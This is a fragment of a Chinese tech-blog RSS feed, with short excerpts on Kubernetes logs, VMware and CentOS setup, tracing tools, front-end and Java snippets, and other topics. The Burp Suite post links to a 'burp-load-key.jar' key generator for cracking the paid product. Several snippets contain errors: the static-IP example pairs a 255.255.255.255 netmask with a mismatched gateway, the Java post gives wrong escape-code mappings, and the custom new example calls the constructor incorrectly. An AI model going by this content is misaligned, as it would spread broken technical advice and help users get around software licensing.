记录一些配（详细配置请看文档，只记录了部分）&#xA;Build Pipeline 构建管线&#xA;BuiltinBuildPipeline: 传统的内置构建管线。ScriptableBuildPipeline: 可编程构建管线。 Build Mode 构建模式&#xA;强制构建模式：会删除指定构建平台下的所有构建记录，重新构建所有资源包。增量构建模式：以上一次构建结果为基础，对于发生变化的资源进行增量构建。演练构建模式：在不生成AssetBundle文件的前提下，进行演练构建并快速生成构建报告和补丁清单。模拟构建模式：在编辑器下配合EditorSimulateMode运行模式，来模拟真实运行的环境。 Output Name Style 输出的资源包文件名称样式&#xA;HashName：哈希值HashName_Extension：哈希值+后缀名HashName_BundleName_Extension：资源包名+哈希值+后缀名 Copy Buildin File Option 首包资源文件的拷贝方式&#xA;None：不拷贝任何文件ClearAndCopyAll：先清空已有文件，然后拷贝所有文件ClearAndCopyByTags：先清空已有文件，然后按照资源标签拷贝文件OnlyCopyAll：不清空已有文件，直接拷贝所有文件OnlyCopyByTags：不清空已有文件，直接按照资源标签拷贝文件 重要概念</description>
    </item>
    <item>
      <title>k8s查看日志命令—2023.02</title>
      <link>https://bchobby.github.io/posts/c35699974b91a5f53cd187d21d593c15/</link>
      <pubDate>Sat, 25 Feb 2023 20:45:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c35699974b91a5f53cd187d21d593c15/</guid>
      <description> 查看k8s中pod日志命令： kubectl logs -f pod/[pod名称] -n [命名空间名称]&#xA;假设现在要查coredns-7ff77c879f-9bsbx 这个pod的日志，可以使用如下命令：&#xA;kubectl logs -f pod/coredns-7ff77c879f-9bsbx -n kube-system kubectl logs --tail 200 -f coredns-7ff77c879f-9bsbx -n kube-system #查看最后200行的日志 kubectl logs --since=1h coredns-7ff77c879f-9bsbx #查看名称为coredns-7ff77c879f-9bsbx这个pod最近一小时的日志 </description>
    </item>
    <item>
      <title>VMware安装虚拟机（小白看了都会哦）</title>
      <link>https://bchobby.github.io/posts/f9b8a45bf83770d23766bedc49e7b388/</link>
      <pubDate>Sat, 25 Feb 2023 18:05:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f9b8a45bf83770d23766bedc49e7b388/</guid>
      <description>一、什么是VMware VMware是一款运行在windows系统上的虚拟机软件，可以虚拟出一台计算机硬件，方便安装各类操作系统。如Windows、Macos、Linux、Unix等等。&#xA;虚拟机（VM）是一种创建于物理硬件系统（位于外部或内部）、充当虚拟计算机系统的虚拟环境，它模拟出了自己的整套硬件，包括 CPU、内存、网络接口和存储器。通过名为虚拟机监控程序的软件，用户可以将机器的资源与硬件分开并进行适当置备，以供虚拟机使用。&#xA;配备了虚拟机监控程序（例如基于内核的虚拟机（KVM））的物理机被称为主机器、主机计算机、主机操作系统，或简称为主机。使用其资源的诸多虚拟机被称为虚拟客户机、虚拟客户计算机、虚拟客户机操作系统，或简称为虚拟客户机。虚拟机监控程序把计算资源（如 CPU、内存和存储器）视为一组可以在现有的虚拟客户机之间或向新的虚拟机进行重新分配的资源。&#xA;虚拟机隔离、独立于系统的其余部分，而且单个硬件（如服务器）上可以有多个虚拟机。您可以根据自己的需要在主机服务器之间移动这些虚拟机，更有效地利用资源。&#xA;虚拟机允许在一台计算机上同时运行多个不同的操作系统，比如一台 MacOS 笔记本电脑上也装了 Linux&#xA;发行版。每个操作系统的运行方式与通常操作系统或应用在主机硬件上使用的运行方式相同，因此在虚拟机中获得的最终用户体验与物理机上的实时操作系统体验也几乎毫无二致。&#xA;二、VMware的安装 VMware下载地址：&#xA;下载 VMware Workstation Pro - VMware Customer Connect&#xA;1.首先，下载VMware安装包，这里我下载的版本是pro16&#xA;下载完之后进行安装&#xA;2.然后点击下一步，到了这里可以按照自己的需求，自己选择安装位置，然后一路下一步，最后进行安装&#xA;安装完成结果图，如下图所示&#xA;3.VMware是一款商业软件，在使用时通常需要输入许可证。如果不输入许可证，先有几十天的试用期，之后就可能无法使用VMware的所有功能，一般许可证可以在百度能搜到，输入许可证后，打开的VMware界面就是这样啦&#xA;三、安装虚拟机 安装虚拟机之前首先需要下载好需要的镜像，我这里采用的是CentOS镜像，下面是CentOS的下载地址&#xA;Index of /centos/7.9.2009/isos/x86_64/ | 清华大学开源软件镜像站 | Tsinghua Open Source Mirror&#xA;选择你需要的，一般下载DVD标准安装版就行&#xA;镜像下载好了以后，就可以新建虚拟机了&#xA;选择典型，然后再点击下一步&#xA;由于我们选择的是DVD镜像，所有我们选择稍后安装操作系统，然后再点击下一步&#xA;因为我们学习的就是Linux所有我们客户机选择Linux(L)，版本我们选择之前下载好的CentOS镜像的版本，然后再点击下一步&#xA;自己定义喜欢的名字来作为虚拟机的名称，并设置好虚拟机的位置，然后再点击下一步&#xA;最大磁盘大小不能小于20G，一般是选择20G，然后选择将虚拟磁盘拆分成多个文件，然后再点击下一步&#xA;点击自定义硬件，进行相关硬件的配置&#xA;根据自己的需求，来进行配置虚拟机内存，因为我进行的是最小化安装，所有选择的是1GB&#xA;处理器选择两个，内核一个&#xA;然后把刚刚下载好的CentOS镜像进行使用&#xA;配置完成后，点击关闭，最后点击完成&#xA;然后新的虚拟机就建成啦&#xA;四、NAT网络配置 检查本地DHCP服务是否将IP地址分配给虚拟机，这涉及到之后虚拟机有没有网络，如若没有就要进行一下步骤&#xA;先将虚拟机网络编辑器打开&#xA;点击NAT模式，然后进入管理员模式，然后勾选本地DHCP服务是否将IP地址分配给虚拟机，然后点击应用，最后点击确定退出&#xA;五、虚拟机初始化配置 启动虚拟机&#xA;鼠标点进虚拟机，然后回车&#xA;根据自己的需要选择语言，我这里选择简体中文&#xA;因为我这里安装就是最小安装，所有软件选择可以不用管，如果有的朋友不想最小安装，就要点击软件选择其他的了&#xA;点击安装位置&#xA;选择自动配置分区，选好好点击完成退出&#xA;进入网络和主机名，打开以太网，这涉及到之后安装的虚拟机是否有网络&#xA;然后点击开始安装&#xA;然后分别进行root密码（很重要）的设定和普通用户的创建&#xA;如果密码不足八位数，则需要点击两次完成才能行&#xA;普通用户的名字根据自己需求来写，然后点两次完成退出&#xA;点击完成配置</description>
    </item>
    <item>
      <title>群晖设置流量控制后进不去系统</title>
      <link>https://bchobby.github.io/posts/65af258cb161e23f64d2d5f89e101d42/</link>
      <pubDate>Fri, 24 Feb 2023 21:22:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/65af258cb161e23f64d2d5f89e101d42/</guid>
      <description>1、背景 由于最近nas一直偷跑科学上网流量，想找找真凶，于是在控制面板中设置了流量控制策略10KB/s，于是乎保存之后刷新就再也进不去系统了，尝试了各种办法，无济于事。&#xA;一度想过按reset按钮直接重置（可以重置密码以及网络），没舍得。&#xA;随后请求群晖工程师，成功解决进不去系统的问题&#xA;2、解决方法 方法如下，通过直连的方式，看看是否能够登入NAS：&#xA;1.将您的计算机与NAS用一根五类以上的网线直接连接。&#xA;2.将您的电脑网络配置更改为DHCP模式（自动获得IP地址）。&#xA;3.PC 端打开 Synology Assistant 搜索并链接 NAS。</description>
    </item>
    <item>
      <title>链路追踪及其常用工具</title>
      <link>https://bchobby.github.io/posts/b9da4f6d719d723c68aa6a2d3fad640d/</link>
      <pubDate>Fri, 24 Feb 2023 21:07:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b9da4f6d719d723c68aa6a2d3fad640d/</guid>
      <description>简介&#xA;链路追踪（distributed tracing）是指通过记录分布式系统中各个组件之间的调用和传输信息的过程，来跟踪和分析请求在系统中的运行情况和性能问题的技术。在分布式系统中，一次请求可能涉及多个微服务的协同工作，链路追踪能够帮助我们更好地了解整个请求的流程，诊断问题、优化性能。&#xA;链路追踪的核心思想是将请求的跟踪信息在整个请求链路中传递，这样可以将请求的调用过程串联起来，形成一个完整的请求链路，从而快速定位出问题所在。&#xA;链路追踪的实现通常分为四个阶段：&#xA;1. 生成追踪信息：请求进入系统时，生成一个全局唯一的追踪标识符（trace ID）和一个局部唯一的标识符（span ID）。&#xA;2. 传递追踪信息：将追踪信息添加到请求头或者上下文中，在请求链路中的各个组件之间传递。&#xA;3. 采集和存储追踪数据：在各个组件中采集请求的追踪数据，例如请求时间、响应时间、调用的服务名称等，并将这些数据存储到一个共享的存储中。&#xA;4. 展示追踪数据：通过可视化界面展示整个请求的追踪数据，包括请求的调用链路、请求的各个组件的响应时间等，帮助开发人员快速诊断问题。&#xA;一般来说，链路追踪需要依赖于一个追踪系统来实现。常见的开源追踪系统包括 Zipkin、Jaeger、SkyWalking 等，这些系统提供了一些常用的 API 和插件，方便开发人员在不同的语言和框架中接入和使用。在实际使用中，我们需要对链路追踪进行配置和集成，以便能够实时监控分布式系统的运行状态，并及时诊断和解决问题。下面分别对几种链路追踪工具进行简单介绍：&#xA;zipkin&#xA;Zipkin是一个开源的分布式跟踪系统，用于解决分布式系统中的性能问题。它可以帮助开发人员快速发现和解决服务之间的调用延迟、故障等问题。下面是关于Zipkin的一些详解：&#xA;1.Zipkin的工作原理&#xA;Zipkin的工作原理是在应用程序中添加跟踪数据，这些数据会被发送到Zipkin服务器进行存储和分析。Zipkin客户端会生成跟踪信息，并将其发送到Zipkin服务器。跟踪信息包括每个请求的唯一标识符、开始和结束时间戳以及其他元数据。Zipkin服务器会存储跟踪信息，并将其显示在Web界面中，以便用户可以查看跟踪信息并分析它们。&#xA;2.Zipkin的组成部分&#xA;Zipkin主要由四个组成部分组成：收集器、存储器、查询器和Web界面。收集器负责接收和存储跟踪数据，存储器负责存储跟踪数据，查询器负责查询和分析跟踪数据，Web界面用于显示跟踪信息。&#xA;3.Zipkin的使用场景&#xA;Zipkin适用于分布式系统中的调用链跟踪和性能分析，特别是在微服务架构中非常有用。在分布式系统中，服务可能分布在多个不同的计算机上，并且服务之间的调用关系很复杂，因此需要一个跟踪系统来跟踪整个调用链并分析性能问题。&#xA;4.Zipkin的优点&#xA;Zipkin具有以下优点：&#xA;分布式跟踪：支持跟踪分布式系统中的请求调用链。高度可扩展：能够处理大量跟踪数据。可视化：具有直观的Web界面，方便用户查看和分析跟踪信息。开源：Zipkin是一个开源项目，可以自由使用和定制。 5.Zipkin的局限性&#xA;Zipkin的局限性包括：&#xA;Zipkin跟踪信息的粒度较粗，无法记录请求和响应之间的详细信息。Zipkin需要在应用程序中添加额外的代码来生成跟踪信息。Zipkin需要部署和维护Zipkin服务器，增加了系统的复杂性。 6.Zipkin的实现方式&#xA;Zipkin的实现方式包括两种：单体式和分布式。&#xA;单体式的Zipkin可以将所有的收集器、存储器、查询器和Web界面都打包在一个应用程序中，适用于小型系统或测试环境。这种方式的优点是简单易用，缺点是无法满足大型系统的需求。&#xA;分布式的Zipkin则将不同的组件分别部署在不同的服务器上，适用于大型系统或生产环境。这种方式的优点是高度可扩展，能够处理大量跟踪数据，缺点是部署和配置较为复杂。&#xA;7.Zipkin的集成方式&#xA;Zipkin可以与各种应用程序和框架集成，包括Spring Boot、Netflix OSS、gRPC、Thrift等。集成方式主要包括添加Zipkin客户端依赖和配置Zipkin服务器地址等。&#xA;8.Zipkin的使用案例&#xA;Zipkin在互联网公司、金融公司、电商公司等各行各业中都有广泛的应用。例如，Netflix在其微服务架构中使用Zipkin来跟踪和分析请求调用链，阿里巴巴也在其微服务架构中使用了Zipkin。&#xA;jager&#xA;Jaeger是一款开源的分布式跟踪系统，旨在帮助开发人员和SRE（Site Reliability Engineer）解决微服务架构中的性能问题。下面是有关Jaeger的详解：&#xA;1.Jaeger的工作原理&#xA;Jaeger的工作原理是通过向应用程序添加跟踪数据来捕获请求调用链。跟踪数据包括唯一的跟踪ID、开始和结束时间戳以及其他元数据。Jaeger客户端将跟踪数据发送到Jaeger代理，代理将数据存储在Jaeger存储器中。Jaeger存储器负责存储和查询跟踪数据，Jaeger查询器用于查询和可视化跟踪数据。Jaeger Web界面提供了直观的UI来查看跟踪数据。&#xA;2.Jaeger的组成部分&#xA;Jaeger主要由以下组成部分组成：客户端、代理、存储器、查询器和Web界面。客户端负责向应用程序添加跟踪数据，代理负责接收和处理跟踪数据，存储器负责存储和查询跟踪数据，查询器负责查询和分析跟踪数据，Web界面用于显示跟踪信息。&#xA;3.Jaeger的使用场景&#xA;Jaeger适用于分布式系统中的调用链跟踪和性能分析，特别是在微服务架构中非常有用。Jaeger可以帮助开发人员快速发现和解决服务之间的调用延迟、故障等问题。&#xA;4.Jaeger的优点&#xA;Jaeger具有以下优点：&#xA;分布式跟踪：支持跟踪分布式系统中的请求调用链。高度可扩展：能够处理大量跟踪数据。可视化：具有直观的Web界面，方便用户查看和分析跟踪信息。开源：Jaeger是一个开源项目，可以自由使用和定制。 5.Jaeger的局限性&#xA;Jaeger的局限性包括：&#xA;Jaeger跟踪信息的粒度较粗，无法记录请求和响应之间的详细信息。Jaeger需要在应用程序中添加额外的代码来生成跟踪信息。Jaeger需要部署和维护Jaeger服务器，增加了系统的复杂性。 6.Jaeger的实现方式&#xA;Jaeger的实现方式包括两种：单体式和分布式。&#xA;单体式的Jaeger可以将所有的代理、存储器、查询器和Web界面都打包在一个应用程序中，适用于小型系统或测试环境。这种方式的优点是简单易用，缺点是无法满足大型系统的并发压力。&#xA;skywalking&#xA;Apache SkyWalking是一个分布式应用程序性能监测系统，支持跨多种编程语言和多种分布式系统的监测，它具有以下的特点：&#xA;1.SkyWalking的架构&#xA;SkyWalking采用了插件化的架构，可以根据需求选择性地启用不同的插件，以支持多种编程语言和分布式系统的监测。SkyWalking的架构主要由四个组件组成：探针、收集器、存储器和Web UI。探针负责向应用程序添加监测数据，收集器负责收集和处理监测数据，存储器负责存储监测数据，Web UI提供了直观的UI来查看监测数据。</description>
    </item>
    <item>
      <title>burpsuite_pro_v2022.3版本（jdk18、burpsuite_pro_v2022.3、burp-load-key.jar）官方下载链接（提供版本过多，自行查看正文）</title>
      <link>https://bchobby.github.io/posts/943084a40312e7911778c41ab9661362/</link>
      <pubDate>Fri, 24 Feb 2023 18:20:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/943084a40312e7911778c41ab9661362/</guid>
      <description>burpsuite_pro_v2022.3版本（jdk18、burpsuite_pro_v2022.3、burp-load-key.jar）官方下载链接（提供版本过多，自行查看正文） 一、下载地址1、个人网盘提供2022.3jar版本、jdk18版本、key生成批处理脚本2、burpsuite官网下载地址2.1 2022-03版本下载页面2.2 2022-08-1版本下载页面2.3 2022-09-5版本下载页面2.4 2022-12-6版本下载页面2.5 2023-01-02版本下载链接 二、运行方法 burpsuite_pro_v2022.3版本（pro版）（jdk18、burpsuite_pro_v2022.3、burp-load-key.jar）&#xA;2022-08-1版本（专业版）&#xA;2022-09-5版本（专业版）&#xA;2022-12-6版本（社区版、专业版、pro版）&#xA;2023-01-2版本（PRO版本、专业版）&#xA;burpsuite_pro_v2022.3版本、2022-08-1版本、2022-09-5版本、2022-12-6版本均在下方提供官网下载链接&#xA;一、下载地址 废话不多说，先放干货&#xA;从2022.3jar版本开始，依赖组件相同。所以先下载度娘里面的依赖组件（java、key生成批处理脚本、启动批处理脚本）&#xA;本人的网盘只提供2022.3jar版本和其他版本的依赖组件下载（原因是懒和没时间整理），其他版本放出官网下载地址，可以复制到任何浏览器进行回车直接弹出文件下载。&#xA;1、个人网盘提供2022.3jar版本、jdk18版本、key生成批处理脚本 由于程序过大，考虑很多人没有度娘盘盘的会员，单独放链接，用哪个下那个。&#xA;生成key程序下载链接 链接：https://pan.baidu.com/s/1qfLSA4_1G0ipXz5Au-GobA?pwd=z348 提取码：z348&#xA;jdk18下载链接 链接：https://pan.baidu.com/s/1I-LA1Cqyf6pdAi4OySJWaw?pwd=t8wy 提取码：t8wy&#xA;批处理启动文件 文件内容在下方&#xA;burpsuite burpsuite体积较大（500M+），度娘太特喵的慢了（忍不住骂*），不嫌度娘慢的直接用我分享的链接也行。&#xA;嫌慢的去官网下载速度快，下载直链在下面，版本很多，自己挑！&#xA;度娘下载 （burpsuite_pro_v2022.3.jar、jdk18、burp-load-key.jar，大小600M，手机热点的同学请注意自己的流量）&#xA;度娘下载链接：https://pan.baidu.com/s/1enpjCITt8XiR94uaJDl5RA?pwd=tjnv 提取码：tjnv&#xA;2、CSDN拒绝我上传所有版本，因为版权问题不让上传。不限速的阿里云盘不让分享zip文件（忍不住又要骂*）&#xA;·&#xA;·&#xA;2、burpsuite官网下载地址 2.1 2022-03版本下载页面 https://portswigger.net/burp/releases/professional-community-2022-3&#xA;2.2 2022-08-1版本下载页面 https://portswigger-cdn.net/burp/releases/download?product=pro&amp;amp;version=2022.8.1&amp;amp;type=Jar&#xA;2.3 2022-09-5版本下载页面 https://portswigger-cdn.net/burp/releases/download?product=pro&amp;amp;version=2022.9.5&amp;amp;type=Jar&#xA;2.4 2022-12-6版本下载页面 此版本号的有三个版本，前两个版本最好，最后一个版本差一点。&#xA;pro版本&#xA;https://portswigger-cdn.net/burp/releases/download?product=pro&amp;amp;version=2022.12.6&amp;amp;type=Jar&#xA;专业版本&#xA;https://portswigger.net/burp/releases/download/professional-community-2022.12.6.jar&#xA;社区版本&#xA;https://portswigger-cdn.net/burp/releases/download&#xA;2.5 2023-01-02版本下载链接 2023.1.2版本下载直链 pro版本&#xA;https://portswigger-cdn.net/burp/releases/download?product=pro&amp;amp;version=2023.1.2&amp;amp;type=Jar&#xA;professional版本&#xA;https://portswigger.net/burp/releases/download/professional-community-2023.1.2.jar&#xA;2023.1.2版本官网页面 https://portswigger.net/burp/releases/professional-community-2023-1-2?requestededition=professional&amp;amp;requestedplatform=&#xA;各版本区别自行去官网查看。我已经懒着更新版本的区别了。&#xA;二、运行方法 PS：不太重要的文字内容使用斜体加删除线</description>
    </item>
    <item>
      <title>xshell连接不到虚拟机的解决办法</title>
      <link>https://bchobby.github.io/posts/b30c9b6a5c0d3984f671eb03900c3814/</link>
      <pubDate>Fri, 24 Feb 2023 18:12:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b30c9b6a5c0d3984f671eb03900c3814/</guid>
      <description>首先检查虚拟机是否可以正常联网，可以使用ping www.baidu.com&#xA;如果ping不通或者出现www.baidu.come: 未知的名称或服务说明网络配置有问题需要重新配置虚拟机网络&#xA;检查网络配置文件：vim /etc/sysconfig/network-scripts/ifcfg-ens33如下图&#xA;将BOOTPROTO=&#34;dhcp&#34; 改成 BOOTPROTO=&#34;static&#34;，将ONBOOT=&#34;on&#34; 改成 ONBOOT=&#34;yes&#34;&#xA;在最后加上用红圈圈出来的内容&#xA;IPADDR=192.168.122.232 #ip地址，地址要和网关在同一网段，这里简单来说就是ip地址的前三段和网关的前三段要相同，即192.168.122 #使用ifconfig查看&#xA;NETMASK=255.255.255.255 #子网掩码&#xA;GATEWAY=192.168.80.2 #设置网关，自己虚拟机的网关在虚拟机的编辑---&amp;gt;虚拟网络编辑器里边去看&#xA;然后重启网络 service network restart&#xA;重新按照新的地址连接xshell&#xA;————————————————&#xA;版权声明：本文为CSDN博主「塞班呢」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。&#xA;原文链接：https://blog.csdn.net/a18307096730/article/details/120326265</description>
    </item>
    <item>
      <title>element upload 图片上传 回显 及删除</title>
      <link>https://bchobby.github.io/posts/a336e1288618b0d22f3602b3b72da1e7/</link>
      <pubDate>Fri, 24 Feb 2023 15:57:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a336e1288618b0d22f3602b3b72da1e7/</guid>
      <description>element upload 图片上传 回显 及删除 目标需求 图片上传图片回显可以删除图片效果图 实现 模板 &amp;lt;el-form-item :label=&#34;$t(&#39;station.img&#39;)&#34; prop=&#34;images&#34;&amp;gt; &amp;lt;el-upload :limit=&#34;3&#34; action=&#34;&#34; accept=&#34;.png, .jpg&#34; show-file-list :on-change=&#34;handleChange&#34; :on-remove=&#34;handleRemove&#34; list-type=&#34;picture-card&#34; :file-list=&#34;fileList&#34; :auto-upload=&#34;false&#34; multiple &amp;gt; &amp;lt;i slot=&#34;default&#34; class=&#34;el-icon-plus&#34; /&amp;gt; &amp;lt;/el-upload&amp;gt; &amp;lt;/el-form-item&amp;gt; js data() { return { fileList: [],//这个必须要有,用来同步组件中的fileList form:{ images:[] //表单中的图片列表 } } methods: { // 删除图片时候同步到表单删除 handleRemove(file, fileList) { const index = this.fileList.findIndex((item) =&amp;gt; { return item.uid === file.uid }) this.form.images.splice(index, 1) this.fileList.splice(index, 1) }, // 上传 handleChange(file, fileList) { const isImg = (file.</description>
    </item>
    <item>
      <title>new一个构造函数时做了那些事情</title>
      <link>https://bchobby.github.io/posts/b0050c01e6b80e300e2ae7ab011151c4/</link>
      <pubDate>Fri, 24 Feb 2023 15:15:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b0050c01e6b80e300e2ae7ab011151c4/</guid>
      <description> new做了那些事情？&#xA;1、创建一个空对象；&#xA;2、将空对象的原型，指向于构造函数的原型；&#xA;3、将空对象作为构造函数的上下文（改变this指向）；&#xA;4、对有返回值的构造函数做判断处理&#xA;手写new函数&#xA;function Queue(name){ this.name = name; //如果函数有返回值，则new的结果就是此函数return的结果 // return { // a:&#39;ooo&#39; // } } function myNew(context,...args){ //new操作符本身返回的是一个对象，所以先创建一个对象 const obj = Object.create({}); //将创建的对象的原型指向传递进来的构造函数的原型 obj.__proto__ = context.prototype; //改变构造函数的this指向，将其改为obj,此时obj就有了构造函数身上的属性和方法 const result = context.apply(obj,args); //此时如果构造函数本身有返回值，且是对象，则让让其返回本身的返回值， //如过构造函数没有返回值，则result是undefind，则让其返回obj return typeof result === &#39;object&#39;? result:obj } //下面两个的打印结果是相同的，可见myNew函数实现了new的作用 console.log(myNew(Queue(),&#39;wangzhi&#39;)) const a = new Queue(&#39;wangzhi&#39;) console.log(a) </description>
    </item>
    <item>
      <title>Java去除字符串中的空格</title>
      <link>https://bchobby.github.io/posts/038a632ec335e432a28fdb90e068b712/</link>
      <pubDate>Fri, 24 Feb 2023 15:15:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/038a632ec335e432a28fdb90e068b712/</guid>
      <description> String str=&#34; Hello word &#34;; str=str.trim(); System.out.println(str); //输出:Hello word trim只能去除字符串首尾的空格，如果想要去除字符串中的所有空格，可用repalce(&#34; &#34;, &#34;&#34;);&#xA;\r 回车(\u000a) \t 水平制表符(\u0009) \s 空格(\u0008) \n 换行(\u000d) Str.replaceALL(&#34;\\s*|\r|\n|\t&#34;,&#34;&#34;) </description>
    </item>
    <item>
      <title>利用鱼眼畸变OpenCV的方式进行图像矫正</title>
      <link>https://bchobby.github.io/posts/159aa2ef55f85f5d4f4ec037ed5770d3/</link>
      <pubDate>Fri, 24 Feb 2023 14:38:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/159aa2ef55f85f5d4f4ec037ed5770d3/</guid>
      <description>import cv2 # 读取原始图像 img = cv2.imread(&#39;fish_eye_image.jpg&#39;) # 相机矩阵 K = [[fx, 0, cx], [0, fy, cy], [0, 0, 1]] # 畸变系数 dist = [k1, k2, k3, k4] # 使用鱼眼畸变校正函数进行校正 mapx, mapy = cv2.fisheye.initUndistortRectifyMap(np.array(K), np.array(dist), np.eye(3), K, img.shape[:2], cv2.CV_16SC2) dst = cv2.remap(img, mapx, mapy, interpolation=cv2.INTER_LINEAR, borderMode=cv2.BORDER_CONSTANT) # 显示消除畸变后的图像 cv2.imshow(&#39;Undistorted Image&#39;, dst) cv2.waitKey(0) cv2.destroyAllWindows() import cv2 # 读取原始图像 img = cv2.imread(&#39;fish_eye_image.jpg&#39;) # 相机矩阵 K = [[fx, 0, cx], [0, fy, cy], [0, 0, 1]] # 畸变系数 dist = [k1, k2, k3, k4] # 使用鱼眼畸变校正函数进行校正 mapx, mapy = cv2.</description>
    </item>
    <item>
      <title>dagreD3.js: 一个基于D3的专注于有向图布局(流程图)javascript库。</title>
      <link>https://bchobby.github.io/posts/4a62fe838d38facafe71002f21c7d331/</link>
      <pubDate>Fri, 24 Feb 2023 14:08:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4a62fe838d38facafe71002f21c7d331/</guid>
      <description>dagreD3.js: 一个基于D3的专注于有向图布局(流程图)javascript库。 参考原文链接:dagre/dagre-d3绘制流程图&#xA;参考原文链接:dagre/dagre-d3绘制流程图&#xA;参考原文链接:dagre/dagre-d3绘制流程图&#xA;一开始是用的echarts的关系图,type:‘graph’,但是关系图里面的series.data&#xA;很不好处理,他需要每个点的X,Y坐标.后来又换成了关系图和线图type:&#39;line’的结合体,但是依然是老问题,data里面需要横纵坐标,line里面需要source和target,谁指向谁.&#xA;然后直接百度qcc的股权穿刺图,发现基本上都是用到d3写的,但是d3框架有点大,学起来,阅读代码起来都是1000行起步,难的去看.后来找到这个基于d3的dagreD3.js,发现写起来就比较方便了,废话不多说,直接撸代码.&#xA;npm i dagre-d3 npm i d3@5.16.0 //我这里安装的v5版本,d3现在最新的版本应该到v7了,一开始安装的是v7,但是v7有些东西没有,例如下面代码的event // 引入 import dagreD3 from &#34;dagre-d3&#34;; import * as d3 from &#34;d3&#34;; // vue 里面的data数据 data () { return { list: { nodeInfos: [ // 节点数组 ], edges: [ //节点之间关系数组 ] }, tooltip: this.createTooltip(), //创建tooptip窗体 ,即鼠标移入有窗体显示 gGraph: new dagreD3.graphlib.Graph().setGraph({ // 初始画布板式 rankdir:&#39;TB&#39;, //设置 node 节点的延伸排列方向，它有4个值: TB, BT, LR, 或者 RL 可选，默认是’TB’（从上到下）。 align:&#39;DL&#39;, nodesep: 100, edgesep:100, ranksep: 50, marginx:50, marginy:100 }) }; }, created () { this.</description>
    </item>
    <item>
      <title>[SpringBoot Server]SpringBoot tomcat配置</title>
      <link>https://bchobby.github.io/posts/0cde24843f1356a2c981e9d990509c9c/</link>
      <pubDate>Fri, 24 Feb 2023 13:23:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0cde24843f1356a2c981e9d990509c9c/</guid>
      <description>目录 1、需要注意的通用配置1.1 tomca默认配置 2、通过application.yaml配置tomcat3、 ServerProperties类(略看一下，ServerProperties中有tomcat静态内部类) 惯例，先摆一个官网文档。&#xA;cp配置跳转至第二章。&#xA;SpringBoot 默认嵌入的是tomcat，不同应用也提供了其他选择。&#xA;For servlet stack applications, the spring-boot-starter-web includes Tomcat by including spring-boot-starter-tomcat, but you can use spring-boot-starter-jetty or spring-boot-starter-undertow instead.&#xA;For reactive stack applications, the spring-boot-starter-webflux includes Reactor Netty by including spring-boot-starter-reactor-netty, but you can use spring-boot-starter-tomcat, spring-boot-starter-jetty, or spring-boot-starter-undertow instead.&#xA;关于服务器配置，初步的需要注意的事项为 并发数、请求响应。这些在tomcat中对应的分别是 工作线程数、最大请求连接数、响应时间。&#xA;当cpu线程数小于应用线程数时，操作系统使用时间片机制，采用线程调度算法，频繁的进行线程切换&#xA;1、需要注意的通用配置 官方文档&#xA;通用配置中，个人认为需要注意的如下:&#xA;server.max-http-header-size&#xA;Maximum size of the HTTP message header. HTTP请求头的最大大小，默认 8kb&#xA;server.servlet.encoding.charset&#xA;Charset of HTTP requests and responses.</description>
    </item>
    <item>
      <title>MOS管选型参数：VGS(th)</title>
      <link>https://bchobby.github.io/posts/7573939e5cb55c513d87b66604e23cdd/</link>
      <pubDate>Fri, 24 Feb 2023 11:02:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7573939e5cb55c513d87b66604e23cdd/</guid>
      <description>MOS管选型参数：VGS(th) VGS（th）：开启电压（阀值电压）。当外加栅极控制电压 VGS 超过 VGS（th） 时，漏区和源区的表面反型层形成了连接的沟道。应用中，常将漏极短接条件下 ID 等于 1 毫安时的栅极电压称为开启电压。此参数一般会随结温度的上升而有所降低&#xA;MOS管 一般都存在 VGS(th) 这一参数，不同厂家的MOS管，该参数也不尽相同。它一般是一个范围。为什么是一个范围呢？那是因为厂家生产的一批器件该参数不可能完全一致，存在一定的离散性。下面就来看几种不同MOS管的VGS(th)：&#xA;1、KS1206DB: 1~2.5V 2、KSB203DA: 3~4.5V 3、 RM135N100HD: 2.5~4.5V 4、NTD6415ANL: 1~2.0V 5、TMA30N10H: 2~4V 6、YJD15N10A: 1~2.5V 7、YJD40G10A: 1~2.5V 说明 当你的驱动电压已经确定的时候，选择MOS管时，要着重关注此参数，比如驱动电压到电平为5V时,选择VGSth 时就要尽量选择VGSth 上限为4V以下的，倘若选择VGSth 上限为4.5V左右的MOS管，由于器件参数的离散性，厂家标称的参数VGSth上限为4.5V, 个别器件实际参数可能更高，电路可能无法正常运行。所以选型时参数要留出一定的裕量。</description>
    </item>
    <item>
      <title>修改(elementui)el-table底层背景色</title>
      <link>https://bchobby.github.io/posts/3ec67574dea51905f395275f1e2018ac/</link>
      <pubDate>Fri, 24 Feb 2023 10:37:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ec67574dea51905f395275f1e2018ac/</guid>
      <description>1. 需求：仅修改当前页面的背景色，不修改所有el-table的背景色。 先给table添加类名（如class=&#34;styleTable&#34;）&#xA;在style上面添加scoped&#xA;写法：类名 ::v-deep .el-table类名{}&#xA;注意：给styleTable也设置背景色为透明才生效。&#xA;如下图所示👇&#xA;2. 需求：修改全局背景色 单独创建一个css文件，给el-table th,el-table_cell等你要修改的类名添加背景色为透明；在每个vue页面都引用此文件即可生效。&#xA;扩展 （也可以不用看）&#xA;需求：设置table的最低高度&#xA;把padding的值设为0即可。&#xA;.el_table .el_table_cell{ padding:0px } 2. 怎么找是设置哪一个样式的属性？&#xA;F12打开控制台，然后找到Elements，点击【箭头】选中表格，然后到它的属性，我比较笨，我是一个一个试，最后发现.el_table .el_table_cell 设置了就成功了。&#xA;此文档仅供参考哈，鄙人也是刚踏进前端的门，可能写的有误，还请高人指导。🙏</description>
    </item>
    <item>
      <title>SpringBoot 多数据源切换（超级简单）</title>
      <link>https://bchobby.github.io/posts/ef64cb30a9acb8903f1bf7519f9302b3/</link>
